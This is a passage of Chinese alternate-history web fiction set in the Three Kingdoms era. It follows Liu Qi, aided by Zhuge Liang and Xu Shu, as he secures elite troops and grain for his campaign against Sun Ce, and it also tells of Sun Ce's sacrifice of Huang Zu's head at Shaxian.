议论声像潮水似的涌遍全营,顿时就有几个脾气爆的士卒甚至往前挤了两步,眼里的火气都快喷出来。 刘琦见状,脸色“唰”地沉下来,对左右随从厉声下令:“来人!把这欺上瞒下、篡改军令的赵虎给我抓起来!” 陈武早憋了一肚子火,当即领了两名随从大步上前,没等赵虎反应,就把他胳膊反剪在背后,“咔嗒”一声疼的赵虎直叫唤。 赵虎还想挣扎,张嘴就骂:“刘琦!你...你敢扣我?蔡都督不会饶——” 赵武话没说完,台下的士卒就炸了锅! 本来被欺骗一肚子火气没处撒,现在见刘琦抓了赵虎,顿时把怒火全泼在他身上。 有人扯着嗓子喊:“就是他骗俺们来的!公子砍了这狗东西!” 这一喊就像点燃了火药桶,五千士卒跟着齐声嘶吼:“砍了他!砍了他!” 喊声震得校场周围的杨树叶子哗哗掉,鼎沸的声浪差点掀翻了天。 无数双眼睛盯着点将台上的赵虎,那眼神像是要把他生吞了似的,连空气里都飘着怒火。 赵虎刚才还嘴硬,这会儿被这阵仗吓得腿肚子转筋,脸色“唰”地变得惨白,冷汗顺着下巴往下滴,连挣扎的劲儿都没了。 刘琦走到赵虎跟前,居高临下地看着他,语气冷得像冰:“你看,不是我要为难你,是你自己诓骗士卒——所以还请借你人头一用,不然难以平息众怒!” 说着,刘琦对陈武使了个眼色,陈武当即拔出腰间的环首刀,刀刃寒光闪闪,对着赵虎的脖子就举了起来。 赵虎这下是真慌了,声音都变调了,带着哭腔求饶:“公子饶命!饶命啊!是我错了!我带错地方了!这些是守襄阳的郡兵,不是州牧调拨的精锐!您的五千精锐在城南汉水边上!我这就带您去!” 刘琦挑了挑眉,心里冷笑:果然是贱骨头,不拿刀子对着脖子,就不知道怕。 随即刘琦转头对着台下高声道:“诸位静一静!方才是误会,赵校尉带错了地方——你们本就是来守襄阳的,不用随我去江夏。” 在一众随从的帮助喊呐下,总算是安抚住了即将暴动的五千郡兵。 五千郡兵们一听不用去打仗了,沸腾的情绪瞬间就平了,脸上的怒色也淡了不少,只是看赵虎的眼神还是恨得牙痒痒。 刘琦这才对陈武说:“放开他吧。” 陈武松了手,赵虎揉着被捆得发红的胳膊,心里对刘琦却是又惊又怒又惧—— 赵虎怎么也没想到,以前那个连话都不敢大声说的刘琦,现在居然这么狠! 但赵虎此时却是半点炸毛的勇气都没了,只能缩着脖子,颤声道:“公、公子,我这就带您去城南。” 刘琦没说话,只抬手示意赵虎开路,自己则与诸葛亮、徐庶并肩跟在后面。 徐庶按在剑柄上的手悄悄松了些,方才在郡兵营校场,他其实早看出那些士卒衣甲陈旧、队列松散,绝非襄阳精锐——只是没料到刘琦会如此干脆地当众翻脸,连半点周旋的余地都不留。 一行人走了约莫半个时辰,远远就看见汉水边上立着一座军营——营墙修得又高又厚,青灰色的砖石上还沾着新砌的白灰,上面插着的“襄”字大旗被江风扯得猎猎响。 营门外的士兵个个腰杆挺直,玄色甲胄擦得锃亮,连长矛杆上的木纹都看得清,环首刀斜挎在腰间,刀刃反光晃得人眼晕,比刚才那座郡兵营规整了不止十倍。 “总算没白闹一场。” 徐庶低声对诸葛亮道,眼底藏着几分赞叹,“方才我还在想,若主公忍下这口气,咱们就得暗中想办法换些像样的兵卒——没想到主公倒先一步拿住了赵虎的把柄。” 诸葛亮羽扇轻摇,目光落在刘琦挺直的背影上,嘴角露出一抹浅笑:“元直可知,方才在校场,主公那句‘封妻荫子’,恐怕不是随口说说的!” “主公既点破赵虎的骗局,又安抚了郡兵的情绪,既没落得‘苛待士卒’的名声,又让赵虎不得不交出真精锐——这手段,可比咱们暗中周旋要利落多了。” 刘琦自然没听见两人的对话,他看着眼前的军营,心里终于松了口气——这才是父亲说的襄阳精锐,蔡瑁这老狐狸,果然藏了一手。 方才在校场,他其实也怕赵虎硬撑到底,毕竟蔡瑁在军营里根基深,真闹僵了,说不定会引来蔡家的兵马。 好在万幸刘琦赌对了,赵虎是个色厉内荏的草包,一看见刀就慌了神。 诸葛亮这时凑到刘琦身边,低声道:“公子这一手,既揭了蔡瑁的鬼把戏,又收了郡兵的好感,主公好手段。” 诸葛亮顿了顿,又补充道,“方才我与元直还在合计,若公子不愿与赵虎撕破脸,咱们便想办法从蒯越那里入手,借荆州安危的由头,逼着蔡瑁交出真兵——如今看来,倒是咱们多虑了。” 刘琦笑了笑,:“让先生与元直费心了。我也是没办法,蔡瑁这次敢用郡兵糊弄我,若我忍了,下次指不定还会从其他地方欺压我。” “如此倒不如趁这次机会,让他知道我刘琦,也不是任人拿捏的软柿子。” 说话间,几人已走到营门口。 赵虎这会儿也不敢再耍花样,赶紧上前对守营的士兵亮出蔡瑁的令牌:“奉都督之令,带大公子来交接五千精锐,快开门!” 守营的士兵验过令牌,又看了眼刘琦一行人,才侧身让开营门。 刘琦迈步走进营中,目光扫过两侧列队迎接的士兵——个个身材魁梧,脸上带着悍色,手里的兵器握得紧紧的,连呼吸都比寻常士卒沉稳几分。 “这才像话。” 刘琦心里暗道,转头对诸葛亮、徐庶道,“待会儿校阅,还得劳烦先生与元直帮我看看,这些兵卒里,有没有可用的人才。” 徐庶点头应道:“主公放心,我与孔明定会仔细查看。” 诸葛亮则笑着捋了捋胡须:“主公要找人才,倒不用急——依我看,能把五千精锐练得这般齐整,营中必有懂治军的将领。咱们慢慢校阅,总能发现的。” 对此刘琦深以为然,加快脚步往校场走去。 从赵虎或者蔡瑁手中接手这五千精锐这只是开始,想要真正拿到这五千精锐的兵权,要让这些士兵真心实意地跟着刘琦去江夏打仗,才是真正的难题。 等刘琦步入校场,这五千精锐士卒也已经在校尉王朗的指挥下准备完毕,排列整齐,等待着刘琦校阅。 刘琦望去确实跟刚才的郡兵截然不同,士卒们脸上带着悍色,手里的长矛不说整齐划一,至少也都保养的不错,在阳光下闪烁着寒光。 刘琦依旧沿着队列一排排近距离观看,前面几队虽也算精锐,但总少了点特别的劲儿,直到走到最后一曲,刘琦突然停住了脚步。 这曲五百人的队伍,比其他队伍更显齐整,士兵们连呼吸的节奏都差不多,甲胄上还带着淡淡的油味——显然是经常保养,手里的兵器更是比别处的锋利几分。 队伍最前面站着个身材魁梧的汉子,浓眉大眼,眼神锐利,一看就不是普通人。 “这队的军侯是谁?”刘琦转头问跟在后面的这一营校尉王朗。 王朗一愣,下意识回道:“回公子、此曲军候是魏延,义阳人,去年投的军是个刺头……” 第12章 校阅惊现魏延!转头粮草竟告罄? “嗯?魏延?” “你说他是魏延魏文长?” 闻言刘琦心里“咚”的一下,差点没控制住脸上表情。 难道是后世蜀汉的汉中都督! 说出那句“若曹操举天下而来,请为大王拒之;偏将十万之众至,请为大王吞之”豪言的魏文长? “啊,是的,这曲军确实是魏文长。” 王朗有些奇怪刘琦的反应,但还是如实回道。 魏延!果然是他!刘琦心头狂喜。 于是刘琦强压心头激动,对王朗道:“把他叫过来。” “诺!” 不一会,得刘琦招呼的魏延便快步来到刘琦跟前,抱拳行礼。 “军候魏延,见过长公子!” 魏延语气不卑不亢,眼神里透着股桀骜,不愧是日后敢口出豪言的魏长文。 于是刘琦,便当场问了魏延几个问题,在确认这魏延就是历史上蜀汉的汉中都督,不是重名后。 刘琦当场就好一番夸赞,说魏延治军有方,乃军中楷模,接着下令:“赏!黄金五十两,绸缎二十匹!望文长勤勉用事,日后必有重用!” 刘琦这话一出,莫说魏延本人愣住了,就连旁边那王朗和周围军士都惊呆了。 五十两黄金!这赏赐厚得吓人!至少王朗从军十余载到手财物还不及这一半。 想到这,王朗心中五味杂陈,嫉妒、羡慕一一闪过。 这魏文长真是走狗屎运了! 魏延脸上闪过惊愕、疑惑,最终化为激动,他猛地单膝跪地,抱拳过顶,声音都有些发颤:“属下……谢公子厚赏!日后但凡公子有差遣,文长必当效死!” 周围的士兵见魏延只是因为练兵有方便受赏,也跟着欢呼起来,看向刘琦的眼神也多了几分亲近。 诸葛亮在一旁捋着胡须,笑着对徐庶低声道:“主公这一手,既得了猛将,又收了军心,好手段。” 军心,就在这一赏一谢间,悄然收拢了几分。 徐庶点头赞同:“观这魏延统兵确实是有一手,日后若好好培养,必成大器。只是……” 徐庶看了眼缩在角落的赵虎,“蔡瑁这次吃了亏,怕是不会善罢甘休,咱们得尽快做好去江夏的准备。” 刘琦自然也明白这个理。 于是刘琦走到校场前点将台上,对着五千士兵朗声道:“诸位都是襄阳精锐,本公子知道你们想建功立业!如今孙策占我江夏,杀我荆州子弟,咱们这就去江夏,把江东贼寇赶出去,夺回失地!有功者,本公子必重赏!” 有赏魏延在前,士卒自然是相信刘琦能言出必行。 “赶跑孙策!夺回江夏!”士兵们齐声呐喊,声音震得汉水都似在晃动。 而这时,那蜷缩在角落的赵虎,见刘琦这事已了,于是赶紧挤过来,赔笑地催促:“公子,如今兵也点了,赏也赏了,是否该即刻发兵江夏了?军情紧急,耽搁不得啊!” 这么急?赶着投胎么? 刘琦心里划过一丝怪异,但一时也想不出所以然,便随口应道:“无需多言,本公子自有计较。” 校阅完兵马,刘琦返回营中自己的大帐内,刘琦初时还因顺利接收兵马并意外得了魏延而有些松懈,于是便与同行的王朗以及徐庶商议着准备次日开拔。 但还没过半日诸葛亮却眉头紧锁,揭开刘琦大帐的门帘,面色凝重地向刘琦道:“主公,难怪方才赵虎会催促我们快些拔营,原来是在这里动了手脚。” 诸葛亮说着,就将一本账册递给刘琦。 原来诸葛亮他这半日,是去查点营内粮草库存了。 “什么!营中存粮,仅够十日之用。” 刘琦看完账册,拍案而起惊怒道。 好毒辣的算计!原来坑埋在这里! “蔡瑁蒯越,你们是想让我饿死在半路上啊!” 有道是,兵马未行粮草先行,若无粮草,即便是再精锐的士卒也顷刻便散。 只要刘琦没察觉到蔡瑁这一手,等到半路才发现粮草不足,蔡瑁只需在粮草供给上卡一卡,慢些给刘琦,届时士卒恐怕会逃散大半,到时候别说驱逐孙策,咱们刘琦都得栽在半路上!” 而这时,徐庶却拿着账册质问起王朗。 “说!营内粮草不足,你作为主官为何不知,为何不报?” “这........”王朗一时间支支吾吾的。 见此,刘琦便将这王朗视为,蔡瑁心腹,故意不告知,刘琦顿时怒道:“来人啊,将这厮给我拿了!” 帐外的亲兵,闻声立马走了进来就准备将王朗拿下。 “公子,不是我知情不报啊,实乃是粮草等后勤供给一向是由蔡都督心腹管理,属下是真不知道啊!” 见王朗说的确实是不似作假。 “果真如此?” “属下若有半点虚言,天打雷劈!不得好死!” 见这王朗连毒誓都发出来了,刘琦也只能半信半疑。 于是刘琦只能先将这事给放下,毕竟如今是大军开拔在即,当以粮草为重。 事不宜迟,刘琦立刻让徐庶替自己管理襄阳营,而自己则带着诸葛亮,重返襄阳城,来到掌管粮草调度的蒯越府邸外。 蒯越见到刘琦后,也并未惊讶。 因为蔡瑁这一手虽然毒辣,但却难以奏效,只要不是愚蠢之人,接手军营后第一时间就会核对账册。 不过此计属于随手为之,成之更好,不成也无妨,所以蒯越也没有因为刘琦赶来而感到失落。 在刘琦道明缘由后,蒯越当即双手一摊,:“长公子明鉴,非是下官不肯调拨,实在是襄阳府库空虚,一时凑不出三月之粮啊。不如公子先行发兵,下官在此加紧筹措,不日便派人送至军前,绝不会误了公子大事!” 你M的,骗鬼呢! 刘琦心里大骂,脸上却还得绷着:“蒯太守,襄阳乃荆州根本,若此地粮库都空了,岂非天大笑话?今日若无粮,我这兵,怕是动不了。” 蒯越又是双手一摊,开始哭穷,反正府库内就是没钱没粮。 这时,眼看陷入僵局,诸葛亮轻摇羽扇,缓缓开口: “蒯太守,现今孙策据夏口,虎视荆襄。若因粮草不继,致使公子大军溃于半途,孙策趁势西进,直取江陵,将我荆州拦腰斩断……届时战火燎原,百姓流离,蒯蔡大族纵有粮万斛,可能安枕否?孰轻孰重,太守焉能不知?” 诸葛亮这番话,点的是荆州安危,戳的却是蒯越这些本土大族的命门。 蒯越脸色变了几变,阴晴不定,沉默良久,“孔明言之有理,倒是我们落入下乘了!” 诸葛亮的大姐便是嫁给了蒯祺,蒯祺蒯氏族人,是蒯越子侄。 所以诸葛亮与蒯越也算的上是亲戚关系。 “三日后,首批粮草必送至公子军营!” 蒯越思考片刻后,向刘琦说道。 有了蒯越的松口,粮草之事总算有了着落。 回到大营,刘琦心下稍安,随即立刻升帐议事。 帐中,灯火通明,刘琦、诸葛亮、徐庶三人对坐,要是没有出现粮草隐瞒之事,帐内议事的就要加上一个王朗。 但如今刘琦已经不信任他了,虽然先前刘琦已经算是揭过此事,但心中已然下定主意,等到合适时机便将这王朗给调换了。 “粮草虽已敲定,然我军对江夏敌情,仍是一抹黑。”刘琦蹙眉,“孙策究竟布防如何,意图何在,我等全然不知。” 刘琦说完,徐庶率先开口,指尖蘸水,在案几上粗略划出江河之势:“主公,当务之急,是派出精干斥候。庶以为,可分三路:一路深入江夏,详查江东军布防虚实;一路沿江西进,探查孙策是否有图谋江陵之意;最后一路,可摸清其粮道补给线所在!” “元直所言极是。” 诸葛亮颔首赞同,随后补充道,“斥候务必挑选精悍机警,乔装改扮,或作流民,或扮行商,隐匿行踪,方能探得实情。” “好!”刘琦拍板,立即唤来陈武。 “陈武,你即刻从军中,尤其是魏延那部中,挑选机敏胆大、熟悉水性的精锐之士,组三支斥候队!明日一早,便分批出发!” “诺!”陈武拱手,大步出帐安排。 而就在刘琦紧锣密鼓布置之时,天下大势亦在暗流涌动。 建安五年春,汝南之地。 刘备领着千余人马,从河北袁绍那离开,前往汝南与龚都、刘辟等黄巾残部汇合,试图袭扰曹操背后。 然奈何兵微将寡,粮秣匮乏,只能小打小闹,袭扰些粮道,成不了大气候。 而在前方的官渡战场,曹操与袁绍这两头巨兽仍死死咬合在一起,陷入痛苦的僵持中。 双方虽都已筋疲力尽,却谁也不敢先松一口气,所有的目光和注意力都倾注在那一片焦土之上,根本无暇南顾荆襄的这点风波。 第13章 沙羡城破黄祖祭天,安陆黄氏惊! 时间回到数日前,孙策在阵斩黄祖后,黄祖部曲军心溃散,哪还是孙策军的对手,不到半个时辰后便在孙策军的猛攻下或逃或降。 此战孙策先后以多次佯败,骄黄祖之心,让其率兵出城追击,以至于让孙策轻易设伏成功,趁着黄祖军心大乱之时,突入黄祖旗舰,阵斩黄祖。 可谓是,万军从中取敌将首级,如探囊取物! 经此一战,江夏军事力量大半被摧毁,孙策可一路直抵江夏郡治沙羡城下。 于是,孙策军收拾完战场后,便沿着长江前进,目标直指‘沙羡’ 孙策军还没抵达沙羡城下,黄祖战败的消息却先抵达沙羡,城中顿时大乱,不少胆小弱懦者,无不言降孙策。 一副孙策军还没有兵临城下,就隐约有溃散之相。 好在刘表治荆州十年,施恩布泽十年,特别是江夏这种荆州东大门重地,更是频频赏赐,是以,沙羡城内守军,多半愿意为刘表效死。 很快,沙羡城内守军便将城内凡言降者全部斩首,以杀止住投降之风,随后推举出一名校尉,为临时指挥。 等孙策军来到沙羡城下时,见其城墙上守军虽然有些慌乱,但并未像沿途其他城池般开门献降。 于是孙策也不多废话,直接让人高举黄祖的首级,当城墙上的守军看到后瞬间乱了阵脚。 主将惨死,这消息如同巨石投入湖面,激起千层浪,守军校尉好不容易鼓舞起来的军心即刻崩溃,士兵们丢盔弃甲,逃亡者不计其数。 周瑜见此,立马建言趁此良机,发动总攻。 很快战场上杀声震天,孙策军如汹涌潮水,快速涌上沙羡城头,一举攻克沙羡,宣告这场激烈战役的阶段性胜利。 半日后,沙羡城墙之上,孙策与周瑜并肩而立。 孙策身姿挺拔,眼神中既有得胜攻取荆州门户的喜悦,又有阵斩黄祖为父报仇的快意 周瑜一袭儒袍,虽面带倦色,却难掩睿智光芒。 二人俯瞰着城中满目疮痍,地面上散落着各式各样的兵器,以及横七八竖的尸体,血流漂橹。 一队队孙策军士兵正在清理战场,收缴兵器,清点战利品。 偶尔有零星的抵抗厮杀声从城中某处传来,随即又被镇压下去。 “终于拿下沙羡了。”孙策长出一口气,眼中既有胜利的喜悦,也有沉重的疲惫。 周瑜轻轻点头,目光却依然凝重:“沙羡虽下,然江夏大部分地方还未定,伯符可不能懈怠呀! 孙策点了点头没有并没有回应,只是远眺西方,那里是荆州腹地的方向。 次日清晨,沙羡城内虽经一夜清理,但战争痕迹依旧明显。 街角的暗红色血渍未能完全洗净,石缝中卡着的箭簇尚未拔除,被烧毁的房屋余烟袅袅。 郡守府内,孙策召集众将听取战报。 军需官恭敬地禀报:“此战我军伤亡千余人,歼敌三千,俘虏万人,俘虏多为黄祖部曲。” “而在城内府库内缴获粮草十万石,铠甲兵器无数,战船百余艘。现已完全控制沙羡城及周边三十里内区域。” 孙策微微颔首,对这个战果似乎还算满意。 军需官话音刚落,性情豪爽的黄盖便率先洪声笑道:“好!打得好!此番不仅拿下沙羡,更斩了黄祖那老匹夫,真是大快人心!缴获也颇丰,足够我军用度一阵了!” 黄盖抚着虬髯,脸上尽是畅快之色。 韩当同样面露欣喜,但他却比黄盖更沉稳些。 韩当接着话头,目光转向一旁静立的周瑜,由衷赞道:“此战能如此顺利,公瑾当居首功!” “若非公瑾妙计,先以偏师屡次佯败,弃些辎重,骄那黄祖之心,再以大将旗号诱其倾巢而出,深入险地,我等焉能在芦苇荡设下埋伏,一举将其主力尽歼?” “公瑾谋略,真乃神鬼莫测!” 就连一向沉默寡言、如同磐石般的周泰,也点了点头,粗声道: “公瑾先生,厉害!” 周泰虽然统率的宿卫虎士在此次伏击战中担当了突击重任,但周泰本人却依旧对周瑜的调度佩服不已。 众将的赞扬让周瑜微微欠身,脸上依旧保持着谦和的笑容,羽扇轻摇道:“诸位将军谬赞了!” “此战之功,全赖主公神勇,将士用命,瑜不过略尽绵薄之力,出些浅见罢了。” “若非韩将军的先登死士冒死冲击敌舰,黄将军督率部众死战不退,周司马的虎士锐不可当,瑜纵有百计,亦难奏效。” 周瑜巧妙地将功劳归于孙策和众将,既展现了自己的谦逊,又照顾了同僚的情绪,令堂上气氛更为融洽。 孙策看着麾下文武和睦、士气高昂的场景,眼中也不禁流露出欣慰与豪情。 孙策沉吟片刻,忽然道:“公瑾,安排祭奠我父之事吧。” 周瑜眼中闪过一丝了然,点头应下。 次日,周瑜迅速在城外建造了一个临时祭坛。 临时搭建的祭坛上,香烟缭绕。 孙策手持黄祖首级,一步步走上祭坛。 孙策思绪间不由得回忆起了初平三年(192年),那时孙坚奉袁术之命率军征荆州刘表,却在岘山遭遇黄祖设伏,毫无防备,冲在前头的孙坚就这样死在乱箭之中。 也是那年仅十七岁的孙策,却不得不接过父亲未竟的事业,扛起家族重担。 这期间孙策不知道经历多少屈辱和困难,全靠着心中那点仇恨支撑着。 “父亲你看到了吗,孩儿今日为您报仇了!” 孙策心中默念着,将黄祖首级恭敬地置于祭坛中央。 祭坛上摆放着三牲、酒醴等祭品,最显眼的莫过于黄祖那狰狞的首级。 而身后的千余将士皆甲胄在身,肃穆跪拜。 随军巫师主持仪式,吟唱着古老的祭文。 礼毕。 孙策上前一步,面向江东方向,声音沉痛而激昂:“父亲大人在天之灵可见?今日孩儿已取仇敌黄祖之首级,以祭奠您在天之灵!” 孙策顿了顿,继续道:“如今孩儿已据有江东六郡,今日又得江夏重镇。必当继承父志,开拓疆土,成就霸业!请父亲保佑孩儿与江东将士!” 说罢,孙策跪地,将一杯酒洒在地上。 全军齐声呼应:“愿随主公成就霸业!愿孙将军在天之灵安息!” 孙策的祭奠仪式很快便结束了,但其祭父的消息却很快传遍江夏各地,引起巨大震动。 江夏各大世家闻讯惊怒交加。 “孙策小儿竟如此残暴!” “黄祖技不如人,军争身死,但也不该如此侮辱!” 各家世家豪强,既痛骂孙策残暴,又对孙策深感忌惮,担忧孙策军下一步就会杀到自己门上。 然而,一些长期被黄家压制的小世家和地方豪强却看到了机会。 风险就是机遇,孙策到来造成的江夏动荡,又何尝不是他们这些小世家豪强上位的机会呢? 于是有几家胆大的,便早早下场押注。 秘密派出使者,暗中接触孙策军,表示愿意归顺。 但更多的则是对孙策冷眼旁观,既不派使者恭迎,也不高举反抗之旗,一副,只要你不来我这,我就当不知道,当然如果孙策派军来了,他们便开门迎降。 等消息传到安陆黄氏宗族时,全族上下一片悲愤恐慌。 “孙策小儿!” “竟用元阳首级祭旗!欺我黄家无人呼!” 身为黄家族老的黄承彦愤然拍案,眼中含泪。 黄承彦是黄家族老,也是闻名荆州的学者,女儿就是嫁给诸葛亮的黄月英。 而堂下黄家族人却议论纷纷,对孙策斩首黄祖后,竟然还用来祭祖,纷纷感到莫大的屈辱,愤恨地议论着孙策,此时如果言语能化作刀剑,恐怕孙策早已化作肉酱了。 “孙策会不会觉得仅杀黄族长一人不够?” “他若来安陆,我黄氏全族危矣!” 此话一出,满堂黄氏族人议论声顿时为之一肃,脸上的愤恨之色顿时全无,恐惧之色蛄蛹而出。 纷纷的看向上首的几名族老,七嘴八舌地问道‘我们该如何是好啊!’。 看着堂内连敌人都还没到来就自乱了阵脚的族人,黄承彦恨铁不成钢怒喝道: “慌什么?慌什么!!!” 黄承彦的沉声喝问,瞬间镇住了众人,让众多黄氏族人,纷纷闭上嘴巴。 “诸位,孙策骁勇善战,然而杀羡却离我安陆数百里,孙策一时间还到不了城下。” 在黄承彦的提醒下,堂内的众多黄氏族人才反应过来。 是啊,那孙策贼子离咱们安陆还远着呢! 于是不少黄氏族人,对自己刚才慌张的样子羞愧不已。 而这时的黄承彦,却跟身旁的其余几名族老商议好了应对之策。 于是黄承彦当即下令:“即刻动用族中所有私藏甲兵,征召所有家兵佃户,加固城防,筹集守城物资!黄氏全族,准备死战!” 就在黄家紧急备战之时,沙羡郡守府内,孙策果然提出了进一步复仇的计划。 “黄祖一人之血,难洗父之仇。” 孙策目光冷峻,“公瑾,我欲进军安陆,彻底铲除黄氏宗族,以黄家全族之血,慰我父在天之灵!” 周瑜闻言立即劝谏:“伯符不可!安陆非战略要地,且涢水水浅难行大船,不利我水军发挥。” “且黄家必会拼死抵抗,强攻代价巨大。” 说着周瑜走到荆州地图前,继续分析: “当前我军最为紧要的是趁刘表未及反应,速派精锐千里突袭江陵。” “我一旦夺取江陵,便可割裂荆州,造成荆州动荡。” “而荆南四郡素来便是刘表统治薄弱之处,只要我们能隔断长江一段时间,荆南四郡野心之辈,定会效仿昔日张羡之事,反叛刘表。” “届时我等便可逐个击破,逐步攻取荆南四郡成就霸业指日可待!” “伯父复仇之事可暂缓,反正安陆也不会长腿跑掉。” 周瑜话音刚落,孙坚旧将黄盖便勃然作色:“公瑾此言差矣!老主公之仇深似海,岂是杀一黄祖便能了结?斩草须除根,方能告慰老主公在天之灵!” 韩当也附和道:“正是!安陆虽然不会跑,但黄家人会跑,若此时不除,日后再难寻到次机会了。” “且为老主复仇亦是鼓舞士气、彰显主公孝道之举!” 周瑜力争:“诸位将军!复仇固然重要,然霸业更为紧要!若因小失大,错失夺取江陵的良机,岂不辜负老主公期望?” 于是双方在郡守府内激烈争论,各执一词,互不相让。 周瑜强调战略大局,孙坚旧部们则强调血亲复仇与军中情绪。 孙策坐在主位上,面色凝重,内心极度挣扎。 为人子,孙策自然是恨不能立刻血洗安陆,以告慰父亲在天之灵。 然而心中的枭雄之心,让孙策又深知周瑜战略的正确性,渴望趁机夺取江陵,震动荆州。 良久,孙策抬手制止了双方的争论。 “我意已决。”孙策沉声道: “黄盖、韩当,命你二人率三千兵马,溯涢水北上,攻打安陆,为我父复仇。” 接着孙策又看向周瑜:“公瑾,你率三千兵马留守沙羡,总督后方,巩固占领城池,看管俘虏,防备襄阳方向反扑,并负责整合原江夏降卒。” 最后,孙策站起身,目光坚定:“我自率六千主力及三千水师,西进突袭江陵!” 周瑜闻言色变:“伯符不可!分兵乃兵家大忌!如此我军力量分散,若遇强敌,恐难以呼应啊!” 孙策抬手阻止周瑜继续说下去,眼中有着复杂难言的情绪:“公瑾,我知你担忧,然父仇不共戴天,军中老将情绪也需顾及,我意已决,不必再劝。” 作为仅数年时间便攻取江东,孙策的军事才能不容置疑,他何尝不知分兵风险? 只是孙坚旧将在军中影响力巨大,他们打着为孙坚报仇的旗号,作为孙坚之子。 孙策若强行阻拦,将来如何面对母亲吴夫人及弟妹亲友?如何在江东立足? 定下军略后次日清晨,孙策军一分为三,各自开拔。 孙策率主力战舰西向,直指江陵。 黄盖、韩当率偏师乘大小船只从夏口进入涢水,北上安陆。 周瑜则站在沙羡城头,目光忧虑地望向远去的队伍,特别是西进的孙策,心中笼罩着不祥的预感。 长江水上,千帆竞渡,却各奔东西。 这场为父复仇的征战,刚刚拉开序幕,就已然埋下了不确定的种子。 第14章 疑兵惑周瑜,拖撬神兵天降惊孙郎 三日时间眨眼就过。 蒯越倒是没食言,第三日晌午,浩浩荡荡的粮队就开进了襄阳营。 看着一袋袋粟米、麦子扛进仓,刘琦心里那块大石头总算落了地。 有了这三个月的嚼磨,刘琦心里才算真正有了底。 当然这三日刘琦也没闲着,学着记忆中刘备那套,天天泡在军营里,不是跟士卒们一同吃大锅饭,就是亲手给伤兵换药裹伤。 诸葛亮在一旁也没少出主意,又是重新编整队列,又是让识字的军官给低下的士卒们讲解一些基础战阵。 虽然有因为魏延统兵有方而赏赐,让襄阳营对刘琦来领导他们不会太过于心生抵触。 但人有名,树有影。 刘琦原主那软弱的性格名声,却不是一两天就能消散的,不少军中士卒以及军佐,对刘琦的能力依然带着几分质疑,毕竟他们也知道,过不了多久就要随着刘琦这位江夏太守去与有着江东小霸王的孙策交战了。 好在,经过刘琦与诸葛亮这几手折腾下来,原本那些眼里带着点疏离的襄阳兵,看刘琦的眼神儿都不一样了,多了几分信服和热乎劲儿。 于是粮草一到,刘琦片刻不想多耽搁,即刻下令拔营。 北人善马,南人善舟,荆州水师经过刘表蔡瑁多年经营在这个时间段已经积累了十余万兵卒,楼船千帆,名副其实的长江霸主,要不是刘表老了雄心不壮,且蔡瑁志短只想着守着自己荆州一亩三分地自个玩。 荆州水师实力,放在雄心勃勃的枭雄手中,那可谓是拳打南山敬老院,脚踢北海幼儿园。 是以,有如此厉害的水师在侧,刘琦自然是走汉水顺流而下,这条襄阳至江夏的高速公路。 在一声声号角声中,刘琦的五千襄阳营登上船队扬帆启航,浩浩荡荡地离开了襄阳码头。 春末的汉水,江风带着点湿气,吹得船帆猎猎作响。 刘琦站在主船船头,看着两岸景物缓缓后退,心中却复杂的很,既有终于走出了自己争霸天下的第一步,又有点慌,江东二代目CP大名,刘琦在后世不知道听了多少,如今自己即将对上这对,刘琦要说不慌那是假的。 好在刘琦转念一想,自己阵营如今也是豪华,文有徐庶、诸葛亮,武有魏延、甘宁....... “嗯!” 想起甘宁,刘琦就是眉头一皱,这些时日发生太多事情了,竟让刘琦差点忘记这位桀骜不驯的名将了。 如今江夏被孙策攻陷,而甘宁这家伙在原历史中本就心生向往江东,他不会顺势降了吧! 想到这,刘琦心中就不免咒骂黄祖几句,你说你好好的城不守,非得跑出去干嘛啊,这下好了吧,丧师失地还让自己痛失一名大将。 “主公,进舱用些饭食吧。”徐庶不知何时来到身后。 刘琦点头,与徐庶进入船舱里。 如此,又过三日后,刘琦的船队才驶过宜城,鄀国县遥遥可望。 从襄阳到江夏顺水而下快船只需十天。 但刘琦却故意让船队压着速度走。 因为先前派出去探查孙策动向的斥候还没回来,如今敌情不明,刘琦也不敢冒进。 以至于磨蹭了好几天,船队才刚望见鄀国县的轮廓。 就在刘琦苦逼着坐在船舱里等候斥候回信时,就听桅杆上的瞭望哨喊了起来:“有快船!是我们的斥候!” 刘琦精神一振,忙道:“快让他们过来!” 三条快舟飞快地靠上大船,几个浑身尘土、汗渍浸透衣甲的斥候跌跌撞撞地爬上来,扑通就跪倒在刘琦面前。 “怎么样?探到什么了?”刘琦急问。 为首的斥候喘着粗气回道:“禀主公,探、探明了!那贼子孙策兵分三路了!” 斥候缓了口气,继续说:“一路,贼子麾下黄盖带着三千人,正猛攻安陆城的黄家,不过黄家拼死抵抗,打得挺凶。” “另一路,贼子孙策结拜兄弟周瑜领三千人守着沙羡,正在整编降兵加固城防,我们还撞见他们往汉水上游派细作。” “还有就是贼子孙策自己带着六千步卒和三千水师,沿着长江往西边去了,具体去哪还不明确。” 刘琦听得直皱眉头:“西边?沙羡刚拿下,他不稳住江夏,往西跑什么?” 这时诸葛亮、徐庶几人也围了过来,听着回报都面露疑惑。 王朗插嘴道:“会不会是去打长沙?前阵子不是说长沙乱了吗?” 徐庶立刻摇头:“打长沙何必孙策亲自出马?派个偏将带几千人足矣,他放着襄阳可能来的反扑不管,却带着主力西进,那西边肯定有比江夏更大的肥肉。” 众人纷纷点头,都觉得徐庶说得在理,可猜来猜去也猜不透孙策到底图啥。 刘琦却心里一动,正想开口,诸葛亮已经抢先一步:“取舆图来!” 很快,一张荆州地图在甲板上铺开。 诸葛亮羽扇轻点地图中央:“孙策西进,目标无非两个——公安,或是江陵。” 诸葛亮详细解释道:“公安虽扼长江咽喉,但城小地薄,就算拿下也守不住荆州的反扑。但江陵就不同了...” 诸葛亮羽扇移到江陵的位置:“此乃荆州腹心,北连汉沔,南接荆南。” “孙策若拿下江陵,就等于把荆州拦腰斩断。到时候荆南四郡必乱!而且刘荆州刚失江夏,江陵防备定然空虚,正是偷袭的好机会。” 徐庶补充道:“黄祖已死,周瑜留守沙羡足以稳住局面。黄盖攻安陆,不过是孙策安抚老将的手段,孙策真正的目标,必是江陵!江陵若失,荆州就危险了。” 刘琦一拳捶在船舷上:“没错!必是如此!”于是刘琦立刻下令,“快,取我兵符印信来!” 既然猜到了孙策的意图,就必须尽快应对。 刘琦现在手里有刘表给的调兵权,可以调动章陵和长沙两郡的兵马。 但实际情况没那么简单。 章陵郡作为荆州北大门,虽有一万五兵马,但大多要防着北边的曹操,能调动的只有四千多人。 而长沙郡情况也差不多,郡兵皆要驻防各郡县防备豫章的太史慈。 于是刘琦与诸葛亮等几人根据一合计,定了条“明修栈道,暗度陈仓”的计策。 